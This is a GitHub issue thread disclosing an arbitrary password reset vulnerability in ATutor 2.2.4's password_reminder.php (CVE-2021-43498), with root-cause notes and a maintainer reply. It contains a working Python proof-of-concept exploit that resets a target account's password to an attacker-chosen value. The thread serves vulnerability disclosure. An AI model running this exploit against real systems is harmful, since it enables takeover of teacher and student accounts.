atutor / ATutor

NO LONGER USER LEVEL SUPPORTED. CONTRIBUTING DEVELOPERS INTERESTED IN MAINTAINING ATUTOR, SHOULD REQUEST COLLABORATOR ACCESS. : ATutor is an Open Source Web-based Learning Management System (LMS) used to develop and deliver online courses. Administrators can install or update ATutor in minutes, develop custom themes to give ATutor a new look, and easily extend its functionality with feature modules. Educators can quickly assemble, package, and redistribute standardized Web-based instructional content, easily import prepackaged content, and conduct their courses online. Students learn in an accessible, adaptive, social learning environment.
https://atutor.github.io
183 stars 172 forks source link

Arbitrary Password Reset via password_reminder.php #192

Open rpgmaster280 opened 3 years ago

rpgmaster280 commented 3 years ago

In version 2.2.4, it's currently possible to arbitrarily change the user password to an attacker controlled value. This is caused by a logic flaw when g, id, h, form_password_hidden, and form_change are all set. CVE has been submitted for the issue. POC is below. Please let me know if you have questions or concerns regarding this:

import hashlib, sys, requests

def force_password_change(ip, id, password):
    data = {
            "g" : 9999999999,
            "id" : id,
            "h" : 0,
            "form_password_hidden" : hashlib.sha1(password).hexdigest(),
            "form_change" : ""
    }
    url = "http://%s/ATutor/password_reminder.php" % (ip)
    print("(*) Issuing password reset to URL: %s" % url)
    requests.post(url, data)

def main():
    if len(sys.argv) < 3:
        print('(+) Utility for changing a target users password given the database row number.')
        print('(+) If no password is specified, LetMeIn will be used. Default index for teacher account is 1.')
        print('(+) usage: %s <index> <target_ip> [password]' % sys.argv[0])
        print('(+) eg: %s 1 192.168.1.2'  % sys.argv[0])
        sys.exit(-1)

    id = sys.argv[1]
    ip = sys.argv[2]
    password = "LetMeIn"
    if len(sys.argv) > 3:
        password = sys.argv[3]

    force_password_change(ip, id, password)
    print("(+) Operation complete. Manually test to see if the password changed.")

if __name__ == "__main__":
    main()
rpgmaster280 commented 3 years ago

The conditional statement starting on line 97 is the root source of the issue. It's possible for both conditions (lines 97 and 99) to evaluate to false. There's a third condition that can occur that doesn't seem to be accounted for. Setting an error for this third condition should remedy the issue.

Stronger input validation for these form elements is also highly recommended.

rpgmaster280 commented 3 years ago

Researching the issue further, this issue appears to have already been identified as the TOCTOU Remote Password Reset vulnerability. Metasploit module exploit/linux/http/atutor_filemanager_traversal exploits it. Not sure why, but no CVE has ever been reported for it. I'm not sure why this isn't being listed as an active issue. This seems to have been an issue since at least 2.2.1.

gregrgay commented 3 years ago

ATutor is no longer maintained. You are welcome to submit a pull request with a fix.

rpgmaster280 commented 2 years ago

Issue was designated as CVE-2021-43498 by MITRE.